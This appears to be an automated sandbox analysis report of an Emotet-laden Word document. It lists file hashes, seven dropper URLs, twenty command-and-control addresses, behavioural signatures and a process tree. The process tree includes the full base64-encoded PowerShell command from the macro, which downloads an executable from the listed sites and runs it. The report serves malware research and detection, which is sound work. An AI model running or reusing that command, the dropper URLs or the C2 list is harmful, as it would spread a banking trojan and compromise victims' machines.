Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-09-2024 03:31

General

  • Target

    f777dc6fc518832307d3a3818ee6e90d_JaffaCakes118.doc

  • Size

    201KB

  • MD5

    f777dc6fc518832307d3a3818ee6e90d

  • SHA1

    56fe08706cd9054da2dd36c3216b456c4d557d08

  • SHA256

    00d2206a0492af4e5ca8c9d8b67dc673e53caab5243f9104ccb7dd7248462a37

  • SHA512

    6d081b60506563aa1fa0571c9491996f9b9ca4ecf87ea5ebfc2637c2621a369b3536670fbba0e5846de274a7c971e64e7cd78a7bbb2bbbfeb5a192cf1402a880

  • SSDEEP

    3072:dUqJ1NgsA8k/gvh0NZ0lGX1nZ7ZFpSgKsiEHE+b64JM:dBtgVIveNZvnjzKjEkc6cM

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://bavhome.com/wp-content/td/

exe.dropper

http://hercinovic.com/cgi-bin/mZt/

exe.dropper

https://jeffdahlke.com/css/3u/

exe.dropper

http://calledtochange.org/CalledtoChange/V/

exe.dropper

http://daoisthealing.com/cgi-bin/c/

exe.dropper

https://scyzm.net/wp-content/j/

exe.dropper

http://www.bismarjeparamebel.com/u/pCp/

Extracted

Family

emotet

Botnet

Epoch1

C2

12.163.208.58:80

45.33.35.74:8080

87.106.253.248:8080

192.241.146.84:8080

190.115.18.139:8080

65.36.62.20:80

170.81.48.2:80

83.169.21.32:7080

185.232.182.218:80

190.2.31.172:80

77.106.157.34:8080

82.230.1.24:80

202.4.58.197:80

201.213.177.139:80

78.249.119.122:80

123.51.47.18:80

77.90.136.129:8080

60.93.23.51:80

152.169.22.67:80

190.117.79.209:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet payload 4 IoCs

    Detects Emotet payload in memory.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f777dc6fc518832307d3a3818ee6e90d_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4520
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABCADYAdAAwAGcAZwBnAD0AKAAoACcAUABhACcAKwAnAHcAcABnACcAKwAnAHYAJwApACsAJwBhACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAdQBTAGUAcgBwAFIAbwBGAGkATABlAFwAeABfAHgANQBWAFoAcgBcAEYAOABCAFkAZQBhAE8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBDAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAGMAYABVAGAAUgBpAHQAeQBgAHAAcgBvAHQATwBjAG8AbAAiACAAPQAgACgAKAAnAHQAbABzADEAJwArACcAMgAnACsAJwAsACcAKQArACgAJwAgACcAKwAnAHQAbAAnACkAKwAoACcAcwAxADEALAAgACcAKwAnAHQAJwApACsAJwBsAHMAJwApADsAJABIAHUAcgBwAGgAdwBpACAAPQAgACgAKAAnAFkAeQAnACsAJwB4ACcAKQArACcAbgBvACcAKwAnADMAJwApADsAJABMAGIAagB5ADAAZAAxAD0AKAAoACcARwBnAHgAJwArACcAbgAnACkAKwAoACcAbQBkACcAKwAnAGoAJwApACkAOwAkAEQAcwA2ADcANgBlAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AWABfAHgAJwArACcANQB2AHoAcgB7ADAAfQBGACcAKwAnADgAYgB5AGUAYQBvAHsAMAB9ACcAKQAgACAALQBGAFsAYwBoAEEAUgBdADkAMgApACsAJABIAHUAcgBwAGgAdwBpACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAUwA1ADMAaQB1AGMAYwA9ACgAJwBQACcAKwAnADcANgAnACsAKAAnADEAJwArACcAcQBuAGIAJwApACkAOwAkAFYAeQBlAHkAcgBiAGMAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAGIAYwBsAEkAZQBOAFQAOwAkAFoAXwBoADcAXwB4AGEAPQAoACgAJwBoACcAKwAnAHQAdABwADoALwAvACcAKwAnAGIAJwArACcAYQB2AGgAJwApACsAKAAnAG8AJwArACcAbQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAbgB0AC8AJwArACcAdAAnACkAKwAnAGQAJwArACcALwAqACcAKwAnAGgAJwArACcAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBoAGUAJwArACcAcgBjAGkAbgBvAHYAJwArACcAaQBjACcAKwAnAC4AJwArACcAYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AYwBnACcAKwAnAGkALQBiACcAKwAnAGkAbgAvACcAKQArACcAbQAnACsAKAAnAFoAdAAnACsAJwAvACoAaAAnACsAJwB0AHQAJwArACcAcABzADoALwAnACkAKwAnAC8AagAnACsAKAAnAGUAJwArACcAZgBmACcAKQArACcAZAAnACsAKAAnAGEAJwArACcAaABsACcAKQArACgAJwBrAGUAJwArACcALgAnACkAKwAnAGMAbwAnACsAKAAnAG0ALwBjAHMAJwArACcAcwAnACkAKwAnAC8AMwAnACsAKAAnAHUALwAnACsAJwAqAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoALwAvACcAKQArACgAJwBjAGEAJwArACcAbAAnACkAKwAoACcAbAAnACsAJwBlAGQAJwApACsAKAAnAHQAbwAnACsAJwBjAGgAYQBuACcAKwAnAGcAZQAuAG8AJwApACsAJwByACcAKwAnAGcAJwArACgAJwAvAEMAYQAnACsAJwBsACcAKQArACcAbABlACcAKwAoACcAZAB0ACcAKwAnAG8AQwBoAGEAJwApACsAKAAnAG4AZwAnACsAJwBlAC8AJwApACsAJwBWAC8AJwArACcAKgAnACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwArACcAOgAvAC8AJwApACsAJwBkAGEAJwArACgAJwBvAGkAcwB0ACcAKwAnAGgAZQBhACcAKQArACgAJwBsACcAKwAnAGkAbgBnAC4AYwBvAG0ALwAnACkAKwAnAGMAZwAnACsAKAAnAGkALQBiAGkAbgAnACsAJwAvAGMALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AJwApACsAKAAnAHMAJwArACcAYwB5ACcAKQArACgAJwB6ACcAKwAnAG0ALgBuAGUAdAAnACsAJwAvACcAKQArACcAdwAnACsAJwBwACcAKwAnAC0AJwArACcAYwBvACcAKwAoACcAbgAnACsAJwB0AGUAJwArACcAbgB0AC8AagAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAOgAnACsAJwAvACcAKQArACgAJwAvAHcAJwArACcAdwAnACkAKwAoACcAdwAuACcAKwAnAGIAaQBzAG0AJwApACsAJwBhAHIAJwArACgAJwBqAGUAcABhAHIAYQAnACsAJwBtACcAKwAnAGUAJwArACcAYgBlAGwALgAnACsAJwBjAG8AbQAvAHUAJwApACsAKAAnAC8AJwArACcAcABDAHAAJwApACsAJwAvACcAKQAuACIAUwBgAHAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGcAZAA5ADgAdABpAD0AKAAoACcAVwAwACcAKwAnAG4AagAnACkAKwAoACcAdABoACcAKwAnAHkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABVAGcAZgB1AG4AYQB3ACAAaQBuACAAJABaAF8AaAA3AF8AeABhACkAewB0AHIAeQB7ACQAVgB5AGUAeQByAGIAYwAuACIARABvAGAAVwBgAE4ATABPAEEAZABmAGkAYABMAEUAIgAoACQAVQBnAGYAdQBuAGEAdwAsACAAJABEAHMANgA3ADYAZQBvACkAOwAkAFIAbQA5AHUAdwB0AGUAPQAoACcAWgAnACsAJwA2ACcAKwAoACcAYwBjACcAKwAnAGkAYQB3ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEQAcwA2ADcANgBlAG8AKQAuACIATABgAGUATgBnAHQASAAiACAALQBnAGUAIAAzADcAOQA5ADEAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAoACQARABzADYANwA2AGUAbwApADsAJABFAGQAZwBfAG0AbwBoAD0AKAAnAEEAJwArACcAbgAnACsAKAAnAHcAMQAnACsAJwA0ADcAbwAnACkAKQA7AGIAcgBlAGEAawA7ACQAVABiAGUAcAByADUAMgA9ACgAKAAnAFMAJwArACcAMABjACcAKQArACgAJwBxAGYAdAAnACsAJwA3ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAGUAbQBlAHMAZABuAD0AKAAoACcAVAAwAHcAZgAnACsAJwBzACcAKQArACcAeQBnACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4888
    • C:\Users\Admin\X_x5vzr\F8byeao\Yyxno3.exe
      "C:\Users\Admin\X_x5vzr\F8byeao\Yyxno3.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4804
      • C:\Windows\SysWOW64\NcdProp\msrdc.exe
        "C:\Windows\SysWOW64\NcdProp\msrdc.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3972

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCDC7EC.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zgeo5fto.nib.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

  • C:\Users\Admin\x_x5VZr\F8BYeaO\Yyxno3.exe

    Filesize

    505KB

    MD5

    9c5d93adeec049c054fb10cb3082b9ca

    SHA1

    bbe7aa111a0608ab0510c900632e13319bd34c54

    SHA256

    37f73d6a2285e19c31a33a4087b8d86b73c394f06dec4b7559cbea3fb310b18b

    SHA512

    08367ed821533f72cd11fcc04d3eabbe2cde2584a22245c098a1e912ad245b3a53155516f6bfc572e9387b70c7230d81d8845f30ce66cc6a8928c47e08782096

  • memory/3972-116-0x00000000020E0000-0x00000000020F2000-memory.dmp

    Filesize

    72KB

  • memory/3972-120-0x0000000002100000-0x0000000002110000-memory.dmp

    Filesize

    64KB

  • memory/4520-38-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-10-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-15-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-14-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-13-0x00007FFDC5820000-0x00007FFDC5830000-memory.dmp

    Filesize

    64KB

  • memory/4520-18-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-21-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-22-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-20-0x00007FFDC5820000-0x00007FFDC5830000-memory.dmp

    Filesize

    64KB

  • memory/4520-19-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-17-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-16-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-12-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-8-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-7-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-6-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-4-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

    Filesize

    64KB

  • memory/4520-34-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-0-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

    Filesize

    64KB

  • memory/4520-483-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-481-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

    Filesize

    64KB

  • memory/4520-11-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-9-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-5-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

    Filesize

    64KB

  • memory/4520-482-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

    Filesize

    64KB

  • memory/4520-480-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

    Filesize

    64KB

  • memory/4520-479-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

    Filesize

    64KB

  • memory/4520-1-0x00007FFE07A2D000-0x00007FFE07A2E000-memory.dmp

    Filesize

    4KB

  • memory/4520-2-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

    Filesize

    64KB

  • memory/4520-3-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

    Filesize

    64KB

  • memory/4520-124-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-126-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-125-0x00007FFE07A2D000-0x00007FFE07A2E000-memory.dmp

    Filesize

    4KB

  • memory/4520-127-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-133-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4520-134-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4804-115-0x0000000000400000-0x0000000000484000-memory.dmp

    Filesize

    528KB

  • memory/4804-111-0x0000000002310000-0x0000000002320000-memory.dmp

    Filesize

    64KB

  • memory/4804-107-0x00000000022F0000-0x0000000002302000-memory.dmp

    Filesize

    72KB

  • memory/4888-106-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-77-0x000001D06F670000-0x000001D06F692000-memory.dmp

    Filesize

    136KB

  • memory/4888-76-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

    Filesize

    2.0MB